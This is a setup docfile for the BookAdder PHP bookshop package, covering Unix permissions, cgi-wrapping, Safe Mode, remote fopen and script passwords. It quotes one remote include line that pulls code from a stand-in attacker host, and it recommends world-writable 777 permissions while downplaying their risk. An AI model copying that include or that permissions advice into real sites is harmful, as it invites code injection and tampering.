BookAdder Docfile:
BookAdder Security

BookAdder: Security

Throughout the preceding docfiles we have touched in various ways on security-related issues. Now it's time to take a more comprehensive, structured look at them.

Almost all of this discussion applies to servers powered by one or another Unix-based operating system, because such servers have much more extensive security considerations to deal with. Windows-based servers, wheher running Apache for Windows or Microsoft's own IIS server software, are a whole other, and rather nightmarish, world, as to security and much more. There are some comments on Windows-based systems at the end of this docfile, thought even if you're unfortunate enought to be hosted on a Windows-based server you might want to at least scan the whole file anyway.


But First!

Please be sure you have read all the preceding BookAdder docfiles, through Further Customizing BookAdder before you plunge into this document. Please: RTFM!


Kinds and Levels of Security

Let us get straight, to begin with, that I am not an expert on internet security. What follows is my commonsense take on the matter; if someone with substantial expertise sees anything dubious or outright wrong, please e-mail me about it.

In a broad sense, attacks (whether meant as attacks or simply the byproducts of error) can strike a site in two ways, which we can call "external" and "internal", though in practice there is overlap. An "external" attack as I use the term is one in which the attacker gains owner-like access to the site server, and so is able to create, delete, and modify files (as well as read private ones). An "internal" attack as I use the term means making the programs or scripts on a site do things not intended by their makers by feeding them cleverly poisoned input data, whether as expressly solicited data ("fill in this text entry") or by calling the files with malicious parameter strings.

The forms overlap in that external attacks are often the consequence of successful internal attacks: the attacker manages to make the programs or scripts on the site do the dirty work of corrupting the site. But for convenience of discussion, let's use these two terms.

Defending from external-type attacks is a difficult business. If an attacker has achieved the ability to nearly or wholly work with files as much as the true owner, there's not much left. Defense is necessarily a matter of site-wide protections, whose details are by and large beyond our scope here. The chief one that wants addressing is what on Unix-based servers is called "file permissions", and we'll come to it in a moment.


Internal Security

Against internal attacks, there is much that can be done. The chief thing is to treat any datum that a site visitor might originate as potentially poisoned, and filter it to squeeze out the poison if there is any. There are various ways to do that, and I have tried to make sound use of them in all the php scripts in BookAdder. Perhaps the chief trick, if one can put it that way, is to recognize what is a user-influenced datum; obviously any parameter taken from a GET or POST is, but so also are some $_SERVER variables, in that they, too, derive from user input. I will not here spell out what the scripts do internally. Those well familiar with PHP can look and see, while those not would be bored by the details.


External Security

File Access Control

On Unix-based servers, the server always keeps track of who (or what entity) "owns" a given "process" (an operational session); for actual users, it determines that by the system logon and password used by that user, while for certain invoked processes (such as php), the process itself gets an ID. This is important: for php, and many other server-originated processes, the user ID is typically "nobody" (literally).

Meanwhile, each file on a Unix-based server has a set of so-called "permissions" that control who has what kind of access to it. The permissions data comprises nine items, arranged as three triads of data. Each triad determines the "privileges" accorded to one of these: the file's owner; a "group", which must include the owner; and everybody ("the world"). Each of those three groups has some combination of three privileges or rights respecting a file: the right to read the file; the right to write to (including delete) the file; and the right to execute the file (which is meaningful only if the file is in fact an executable program). There are some other, more complicated aspects of permissions, but in most cases when you see the word "permissions" in a Unix context, it means those particular nine data.

("Groups" are useful for collaborative work, in which several persons need access to some file or set of files; we will not be concerned with groups in this discussion--when they are not germane, the group permissions are typically set to whatever the world permissions are.)

For a directory, as opposed to a file, the permissions have somewhat different meanings. "Read" access means whether or not the user can list, with an appropriate command, the contents of that directory; "write" access means whether or not the user can change files in the directory--create or delete or rename files in that directory; and "execute" access means whether or not the user can access the directory--that is, go to it (make it be the current working directory).

Mind, pay attention here! Directory permissions in a sense "over-ride" file permissions: a user with write access to a directory can delete or rename files in that directory even without write permissions for those files.

(All that is easier to understand and remember if we keep in mind that a "directory" is really just another file, one whose contents are a listing of the files "contained within" that directory. So "read" access to a directory means we can read the directory file, that is, see what files are in that directory, while "write" access means that we can write to the directory file, meaning we can alter or delete lines in it, meaning in turn file listings--hence our ability to rename or delete files. That ability thus clearly depends on our "write" access to the directory file, not the individual file itself. It is if we want to modify a file, not a directory entry for it, that we need "write" permission for that file.)

File and directory permissions are often stated as a simple nine-character string, such as rwxr-xr-- ; in such a string, the order of the data is owner/group/world, so in that example, the owner has rwx permissions, the group has r-xpermissions, and the world has r-- permissions. As you might guess, the presence of a letter in such a string means that the corresponding permission exists, while a placeholder hyphen means that it does not. So, in this example, the owner has read, write, and execute permission (which makes sense--why would the owner be denied any permission?); the group has read and execute permissions; and the world has read permission.

A common alternative way of expressing permission levels is as a three-character number, which is the octal (base-8) representation of them--it's as if we took a rwx string and considered every permission to be a 1 and every hyphen a 0; in the example above, that would give us 754 as the permissions level. The numerical form is easier to read at a glance, as one can get lost in a nine-character string.

Some FTP programs display permissions in that nine-character string pattern, others in the three-digit form (a misnomer--it should be three-octant or some such thing). You'll simply have to live with whichever form your FTP program likes.

When someone or something first creates a file on a Unix system, its initial permissions are determined by a default setting in the server's software. The owner can then change the permissions--normally, only the owner can change the permissions, even if the file is world-writeable.

Obviously, permissions are a form of defense against "external" types of attack. Security-conscious folk tend to get very exercised if files or directories have world write permission enabled. To me, that seems over-fussy. To modify or delete a file on a site of yours, even if that file is world-writeable and in a world-"executable" directory, means that the attacker already has achieved some access to your directories, perhaps by ftp. Permissions are undoubtedly very important on a system where more than one person has theoretical access to a given directory or file, such as computers in a multi-user environment. But I have my doubts about their significance on servers where the only access is by the host (whom you had better trust utterly!); the hosted user--you--or users (if it's a shared server) via FTP; and visitors via HTTP. If your FTP access is breached, as by someone stealing or guessing your logon/password combination, you're hosed no matter the permissions--as far as the system is concerned, the attacker is you, and can do anything you could. As to HTTP (browser-type) access, if your exectuables and scripts are decently protected against "internal" attacks, attackers cannot turn them against you regardless of permissions.

The chief loophole in that reasoning is an executable or script that is not fully proof against internal-type attack. If an attacker finds a way to manipulate the operation of such an executable/script in unintended ways, the question is whether open permissions on that or other files do or do not further deter an attack. My own opinion is that in most cases they do not, but others may disagree.


Permissions and PHP

Why is this an issue? Why not just set every file in BookAdder, if not on the whole site, to 744 (group/world read-only)? Answer: php--there's the nub. Many php scripts, in BookAdder and in general, need to create, delete, and write to files as an utterly essential part of their normal operation. The crux of the problem is embodied in this simple, four-word phrase: PHP is not you.

You, as the owner of your site's directories, can--by FTP--do anything in them. OK, let's say you upload some php scripts--such as BookAdder--to a directory you have made for them. To the server, you are the owner of that directory and of those files you put there, which is perfectly logical and reasonable. Let us assume that the server has permissioned them at 644, which is typical for non-executable uploaded files. Equally important, assume it has permissioned the new directory at 755, which is a typical default for newly made directories; the world has read and execute permissions in that directory, but not write permissions.

An important clarification: a php script, though it seems to do things, is not in fact itself executable--it is a data input to a real executable, php, telling php what to do; the script is simply a plain-text file that can do nothing without an executable php program. That's why an uploaded php script defaults to having no owner "execute" permission--it would be meaningless.

Now you fire up your browser and "call" one of those php scripts. If that script has to write something to do its work, it will fail: it will report "insufficient permissions". What's going on there? Simple: PHP is not you. You have permission to write files in that directory; php is a server process, whose identity to the server is not you but "nobody". And user "nobody" does not have write permission in that directory.

OK, you might think, we can fix that. So, via FTP, you re-permission the directory to 777. Now you try again: yes! The script works! You find the test logfile or whatever it is that it made, you examine its contents, and all is well. Having completed the test, you now erase that file. Whoops! No you don't. It turns out that your host has set php's "Safe Mode" to ON. Now, that test file is owned by user "nobody" and probably was set to permissions level 644. Now the reverse comes into play: you are not PHP. Only user "nobody" can write to (or delete) that file: you cannot. (The excrutiations of "Safe Mode", which effectively over-rides permissions, are detailed more fully farther below.)

Do you find that bizarre? Many other people certainly do. The permissions system makes some sense, but that sense can--in certain circumstances--go on vacation when a server-based executable (meaning a program that you are not the owner of) uses a script that you own. The executable runs as itself, not as you, even though the script it's running is owned by you. It's as if you're a landlord: you give the keys to the house to your tenants, who can thus get into it; but they promptly change the lock! Now they can get in, but you can't.

There is an obvious solution for this problem: you permission all your scripts at 777, and assure that php likewise so permissions all the files it makes. Now both you and php can work in any way with any file, regardless of which of you made it.

The remaining problem is that all the security dweebs are now barfing, the thought of all those world-writeable directories and files having churned their stomachs. Now, as I said, I myself think the "risk" much over-rated. To me, it's like worrying about whether or not you have locked the desk drawers in your home office: if thieves have broken into your house, is a desk-drawer lock going to be an obstacle to them?

Nonetheless, there is a simple, clean way of keeping everybody happy. It is known as "cgi-wrapping". A "cgi wrapper" is a special executable program that, as its name implies, "wraps around" another executable, in this case php. It does several clever security things, but the overwhelmingly big one is that when you run a wrapped php, that process runs as the owner of the script, not as "nobody". If you own the php script in question, wrapped php runs as user you (that is, as whatever your userid is on that system). Thus, you can safely permission all your php scripts, and all the files any of them make, at the usual text-file 644, because php sanely runs as the same user who owns the script. You can modify or erase files php made when running your scripts, and those scripts can work with files you uploaded or otherwise made.

The problem is that not all hosts offer wrapping of php--and, of those that do, not many of them exactly advertise the service. If you do not at present have cgi wrapping of php enabled (or don't know if it is), ask your host "Is cgi wrapping of php is presently enabled and, if not, can it be?" If the answers are No and No, you really, really need to be at a better hosting service.

(I use, and heartily recommend, the very well known Pair Networks, who have all that and more at a fair price.)

Meanwhile, suppose that you do not at present have wrapping available. Your options are two: you (and your php scripts) can permission everything to that open 777 level; or you can use php scripts as "intermediaries" to work with (chiefly to erase) files that you cannot delete via FTP because php, not you, owns them. BookAdder uses the first method: it checks for cgi wrapping and, if it does not detect it, sets all files it thereafter makes to permissions 777 (but before it installs, you have to manually set all the scripts you upload to level 777, which is a pain in the elbow but, fortunately, a one-time process.


BookAdder works like this: if it detects that your php "interface" is CGI, meaning your php is wrapped, it sets all the files it makes to permissions level 644, and it sets all its subdirectories save one to permissions level 700, meaning that their contents are invisible to and unreadable by anyone but you and php; the only exception is the subdirectory /allbooks, which it sets to 701 so that your front page's links to the zipped allbooks files will work (though outsiders still can't see into the directory, just call files in it by name). Note that all php "include" and most data files in your main BookAdder directory are .php files, so that outsiders can't see into them, either; the only exceptions are your xml sitemaps and the .htm files that your visitors see in their final form anyway.

But if BookAdder detects that your php is not cgi-wrapped, it uses 777 for all made files and also its subdirectories, so that you can work with them as well as it can. If having so many 777s around worries you, get a host with wrapping available.


SuExec

Besides standard cgi wrapping, there is an Apache-server-software module called suexec that purports to do essentially the same thing as wrapping: execute scripts as the user they belong to, rather than as Apache's default user ("nobody"). I know little about it, but apparently it does not handle php scripts by default, and some degree of special setup (which looks to me like a kludge) is necessary to make it work with php. It also requires modification of all php scripts with a special header line before they can be used. If you, or your host, is using suexec, you have taken on a load, and I fear you will have to carry it alone. Apache documentation for suexec is notably crisp and clear here: Used properly, this feature can reduce considerably the security risks involved with allowing users to develop and run private CGI or SSI programs. However, if suEXEC is improperly configured, it can cause any number of problems and possibly create new holes in your computer's security. If you aren't familiar with managing setuid root programs and the security issues they present, we highly recommend that you not consider using suEXEC. Me, too. (As The Old Perfesser used to say, You could look it up.)


"Safe Mode"

The creators of php included in it a feature called "Safe Mode", which is turned On or Off by your host via settings in the php initialization file (which normally is not accessible to you). As the php manual says, "The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren't very realistic, many people, especially ISP's, use safe mode for now."

However well-intentioned Safe Mode was, it is generally a nightmare to work with. Even the php authors seem to have finally realized this, in that Safe Mode disappears as of PHP v. 6.00 (but you'll not likely see versions that recent for quite a while). Slightly paraphrasing the php manual, When Safe Mode is On, PHP checks to see if the owner of the current script matches the owner of any file or directory to be operated on by a file function. In effect, then, Safe Mode partially over-rides file permissions: in essence, it ignores the "world" settings--only a file's (or directory's) owner can work with it. With Safe Mode on (and no wrapping), either php can't work on files you upload, or you can't work on files php makes: one or the other, and that's that, regardless of how you jobby the permissions. Small wonder they've finally dropped it.

The BookAdder exploratory file tryme1st.php checks to see if Safe mode is set On. If it is, and there is no cgi wrapping (wildly unlikely with Safe Mode set On), then BookAdder cannot work (nor can most other useful php-based packages). You should ask your host to at least disable Safe Mode. If your host will not do that, you really, really need to switch hosts. You are trying to work with a host that either does not or cannot understand php and security. "Safe Mode" is a pacifier for those still sucking their thumbs. (I remind you of my remarks above about the excellent Pair Networks .)

(Also included in BookAdder as an emergency backup tool is a very dangerous little script named exterminate.php, which you can use to delete any file that php has made that Safe Mode keeps you from erasing yourself direct via FTP. For a little bit of safety, exterminate.php will only delete one particular file, and only one in the directory it is uploaded to: there are no wildcard or directory-wide delete capabilities in it. I cannot overstate the importance of using that file properly: do not keep it on your server; upload it as and when you might need it, use it, then delete it from the server. The installer deletes any copy initially uploaded--see the BookAdder docfile BookAdder Files List for more details on use.)

Remote fopen

Another "security" nuisance practiced by more and more hosts these days is the partial disabling of the php function fopen, namely its "remote open" capability, which is needed to read files via HTTP, something that BookAdder (like many other php scripts) needs to be able to do. Once again, the BookAdder exploratory file tryme1st.php checks this situation. If it is unable to open and read a file via HTTP, it so reports; the odds are overwhelming in that case that "remote fopen" has been disabled by your host. If you encounter that problem, you should ask your host "Is 'remote fopen' indeed disabled, and if so can it be restored for me?" If the answers are Yes and No, once again: you need to be hosted elsewhere.

(Why is this important function sometimes disabled? Because some poor, ignorant fools have used it indiscriminately to read executable lines into their scripts, such that a malicious remote file can bomb your site, and perhaps even those of others on the same server. If you are as brain-dead as to use something like--

include('http://black-hat-dude.com/ihateyou.txt');

--you get what you deserve, but regrettably you sometimes also get what other customers elsewhere on your shared server don't deserve.)


Password-Protecting Your Scripts

BookAdder has nine scripts that your visitors need to be able to use. These are what they are and what they do:

  • abechange.php - changes various parameters in an Abebooks used-book display
  • abes.php - displays the results of any used-book search
  • amazon-message.php - displays the mandatory Amazon-Associate message
  • book-search.php - sets up an Amazon new-books "free-form" search
  • free.php - displays the "buy" data from Amazon for any one book edition
  • holder.php - displays one of the 27 "alpha" listings of titles in any one of your six divisional bookshops
  • realshop.php - your bookshop's "front page" for any of the six divisional bookshops
  • search.php - displays the results of an Amazon new-book search
  • used-books.php - sets up an Abebooks used-book "free-form" search
(The files book-shop.php, index.php, and whatever you named your actual bookshop front-door file are just pass-throughs that point to realshop.php.)

The scripts normally used in nightly processing--doall.php, dofind.php, and findbooks.php--check, when called (using the IP Address), to see if their call is coming from the server on which they reside; if so, they are validated and will run. That way, they do not need a password phrase passed to them during their automatic running, but do require it if called from outside (which includes you at your home or office computer).

Other than those nine, and the one or two pass-throughs just explained, there are no BookAdder files that anyone else should be using, or even seeing. So long as no one gains full read/write access to your server (in which case they could do anything), little harm, none permanent, would be done by a stranger even if one or more of your scripts got run. Nonetheless, it would be as well to avoid that. BookAdder includes a dummy index.php file that, like book-shop.php, simply points to your real bookshop front page; in that way, anyone entering just your bookshop's directory URL into their browser will get your front page rather than a directory listing. Still, the contents of that directory are not exactly secret, and scripts in it can be called by name by anyone knowing that name.

BookAdder allows you to set up a password requirement for all runnable scripts other than those few listed above that visitors normally use. Understand that this is not a rigorous protection against sophisticated attackers: it is simply a block to prevent casual access to your scripts by the nosy or ill-advised. Directions for making a password are given in an earlier docfile that you should have read by now. The phrase you use can, as it says there, be anything from a single character to as much as you care to trouble typing in. No matter what it is, the password maker will produce a 32-character "hash" code from it; that code cannot be deciphered. The "translation" is one way only, so no one will ever decode your password phrase from the hash. The hash is stored in a file named 4me.php, which it would do an attacker no good to be able to read. The way validation works is that you enter your password phrase as a parameter in calling a script, and the script then makes anew a hash of it (by the same process, so it gets the same hash), then compares that hash to the stored one. If there is no 4me.php file found, no validation is done. Obviously, anyone who could delete that file could then access your scripts, but--as I keep saying--anyone who already has that degree of access is beyond stopping anyway.

To be more exact: once you have set up a password, to then run any of the runnable scripts except those user-needed ones tabulated above, you must include in the script parameters the string--

pw=my password phrase

--where, of course, my password phrase is replaced by your actual password string (which may contain spaces or any "printable" characters). You supply such a string after an ampersand or, if it is the first or only parameter being passed, a query mark. Here are some representative calls, showing the form:

  • phpinfo.php?pw=my password phrase
  • bookcount.php?phrase=spokane&pw=my password phrase
  • attack.php?pw=my password phrase&every=5

Because typing in that extra every time you want to run a script is a nuisance, I recommend that you not set a password till you feel you are quite through with setting up your bookshop. Do it very last thing before "opening" your shops to the world (by linking to them on other pages and registering your bookshop-sitemaps index with the search engines).

If you decide you want to do a passel more work at some later date (for instance, do some trials of new search phrases), the easiest thing to do is to delete the 4me.php file, do your work, then re-set your previous or, as you please, a new password phrase.


Windows

On one hand, it's sort of hard to take Windows-based servers seriously; on the other had, a substantial minority of servers are indeed Windows-based. So let's take a brief look at those aspects of Winservers that apply here.

Let's first be clear on one thing: Microsoft very deliberately makes all its products as uncompatible with everything else like them as is possible. They do that so that users are unable to easily convert from Microsoft products, or to make them work and play nicely with non-MS products. If you insist on using a Microsoft server, or on dealing with a host who does, then you have to take what comes with the territory, which is the inability of an awful lot of other things to work with your favorite toys. One of that awful lot of things is php: it has all sorts of problems with Windows operating systems, from microtiming to file permissions. I am tempted to just say "Windows-based servers are not supported here" and let it go at that, but I want to try to help everyone, even those stuck with--or on--Windows. But recognize that there are limits: I cannot make php, or Windows, do what they simply cannot.

Older Windows versions, being essentially DOS-derived, know zunt about things like permissions: all they "know" is the antique "read-only" file attribute. Newer Windows versions, those derived from NT, have a more plausible security system, but--as noted--Microsoft deliberately went away from the existing norms and made up its own "standards". Thus, when a php script issues a command involving permissions, it is tricky to know how a Winserver will interpret it. On the older DOS-based Winsystems, one user has reported (at the php manual chmod page) that "The only chmods allowed are the 775 and 666 modes -- 775 for non-writeable and 666 for writeable." At the same page, another user wrote that "On WinME with apache, chmod also works to a certain limit. What happens is that apparently only the first number is counted, so 0666 (read-write) is the same as 0777, 0644, 0600, etc, and 0444 (read-only) is the same as 477, 400, etc."

If we recall that permissions are a triad of triads, where any one triad is rwx in format, what apparently happens (if we take those accounts as correct) is first, that only the "owner" triad is looked at, and second, that only the middle byte, the "write" permission of that triad, is considered. If that is so, we would expect all of 2xx, 3xx, 6xx, 7xx to grant writeable status, and all of 0xx, 1xx, 4xx, 5xx to deny it (where "x" is any numeral from 0 to 7). The question is to whom is that status granted or denied? Everyone? The owner? Sigh.

There seems no doubt from scanning the web that chmod does something on Windows systems, but it is unclear just what. The approach BookAdder takes if it detects a Windows-based server is to use 644 as the permissions level to try to set created files to. If that doesn't work on your Windows-based server, let me know and I'll try to work with you--but, for the Nth time, no serious webmaster will tolerate being hosted on a Windows-based server, and if you are, it's time to move on to bigger and better things. (Try Pair Networks).


Moving On

BookAdder Documentation Files Available

They are:


What to Read Next

Since we ended up discussing security, perhaps it's time to look at the Security-Related Concerns docfile.